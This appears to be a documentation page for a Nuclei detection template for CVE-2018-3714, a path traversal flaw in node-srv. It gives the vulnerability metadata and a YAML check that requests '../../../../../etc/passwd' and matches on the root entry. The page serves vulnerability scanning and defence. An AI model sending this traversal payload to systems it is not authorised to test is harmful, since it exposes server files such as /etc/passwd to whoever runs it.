node-srv - Local File Inclusion
ID: CVE-2018-3714
Severity: medium
Author: madrobot
Tags: cve,cve2018,nodejs,lfi,hackerone,node-srv_project,node.js
Description
Section titled “Description”node-srv is vulnerable to local file inclusion due to lack of url validation, which allows a malicious user to read content of any file with known path.
YAML Source
Section titled “YAML Source”id: CVE-2018-3714
info: name: node-srv - Local File Inclusion author: madrobot severity: medium description: node-srv is vulnerable to local file inclusion due to lack of url validation, which allows a malicious user to read content of any file with known path. impact: | Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure. remediation: | Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the node-srv application. reference: - https://hackerone.com/reports/309124 - https://nvd.nist.gov/vuln/detail/CVE-2018-3714 - https://github.com/merlinepedra25/nuclei-templates - https://github.com/sobinge/nuclei-templates - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N cvss-score: 6.5 cve-id: CVE-2018-3714 cwe-id: CWE-22 epss-score: 0.00182 epss-percentile: 0.55562 cpe: cpe:2.3:a:node-srv_project:node-srv:*:*:*:*:*:node.js:*:* metadata: max-request: 1 vendor: node-srv_project product: node-srv framework: node.js tags: cve,cve2018,nodejs,lfi,hackerone,node-srv_project,node.js
http: - method: GET path: - "{{BaseURL}}/node_modules/../../../../../etc/passwd"
matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:"
- type: status status: - 200# digest: 4a0a004730450221008a2b425e793ecd628f9652288b4c358ddfd1dd372a96c7acb030d2214626fe06022052819acc2297895e83b73439ad3cb188c0d8dff1d49f7e93836152f1ab1f94b2:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-3714.yaml"